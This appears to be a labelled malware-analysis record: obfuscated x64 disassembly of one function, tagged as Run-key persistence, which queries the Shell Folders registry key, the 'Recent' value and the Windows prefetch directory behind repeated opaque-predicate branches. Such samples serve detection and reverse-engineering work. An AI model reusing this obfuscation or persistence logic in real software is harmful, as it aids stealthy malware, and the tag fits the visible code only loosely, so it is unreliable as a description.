Function at 0x140005bb0
Capabilities:
Persist via run registry key

Disassembly:
push rbp
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005bf4
jmp 0x140006017
mov eax, 0x20
mov qword [rbp - 0x20], rax
call fcn.1400451b0
sub rsp, rax
mov rax, qword [rbp - 0x20]
mov rcx, rsp
mov qword [rbp - 0x30], rcx
call fcn.1400451b0
sub rsp, rax
mov rax, qword [rbp - 0x20]
mov rcx, rsp
mov qword [rbp - 0x28], rcx
call fcn.1400451b0
sub rsp, rax
mov rax, qword [rbp - 0x20]
mov rcx, rsp
mov qword [rbp - 0x18], rcx
call fcn.1400451b0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005c77
jmp 0x140006017
mov rcx, qword [rbp - 0x28]
sub rsp, 0x20
lea rdx, str.Recent
call fcn.140008780
mov rcx, qword [rbp - 0x18]
add rsp, 0x20
sub rsp, 0x20
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
call fcn.140008780
add rsp, 0x20
jmp 0x140005cac
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005cde
jmp 0x14000601c
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005d10
jmp 0x14000601c
mov r9, qword [rbp - 0x28]
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
sub rsp, 0x20
mov rdx, 0xffffffff80000001
call fcn.140004290
add rsp, 0x20
jmp 0x140005d35
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005d67
jmp 0x140006021
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
call fcn.1400066e0
add rsp, 0x20
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005daa
jmp 0x140006021
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005ddc
jmp 0x140006037
mov rcx, qword [rbp - 0x28]
sub rsp, 0x20
call fcn.1400066e0
add rsp, 0x20
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005e1f
jmp 0x140006037
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
lea rdx, str.C:Windowsprefetch
call fcn.140008780
add rsp, 0x20
jmp 0x140005e3c
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005e6e
jmp 0x14000604d
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005ea0
jmp 0x14000604d
mov rcx, qword [rbp - 0x30]
sub rsp, 0x20
call fcn.140004ff0
add rsp, 0x20
jmp 0x140005eb6
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005ee8
jmp 0x140006052
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005f1a
jmp 0x140006052
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call fcn.140004ff0
add rsp, 0x20
jmp 0x140005f30
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005f62
jmp 0x140006057
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call fcn.1400066e0
mov rcx, qword [rbp - 0x30]
call fcn.1400066e0
add rsp, 0x20
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005fae
jmp 0x140006057
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005fe0
jmp 0x140006076
mov eax, dword [0x140049384]
mov ecx, dword [0x140049388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006012
jmp 0x140006076
mov rsp, rbp
pop rbp
ret
jmp 0x140005bf4
jmp 0x140005cde
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
call fcn.1400066e0
add rsp, 0x20
jmp 0x140005d67
mov rcx, qword [rbp - 0x28]
sub rsp, 0x20
call fcn.1400066e0
add rsp, 0x20
jmp 0x140005ddc
jmp 0x140005e6e
jmp 0x140005ee8
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call fcn.1400066e0
mov rcx, qword [rbp - 0x30]
call fcn.1400066e0
add rsp, 0x20
jmp 0x140005f62
jmp 0x140005fe0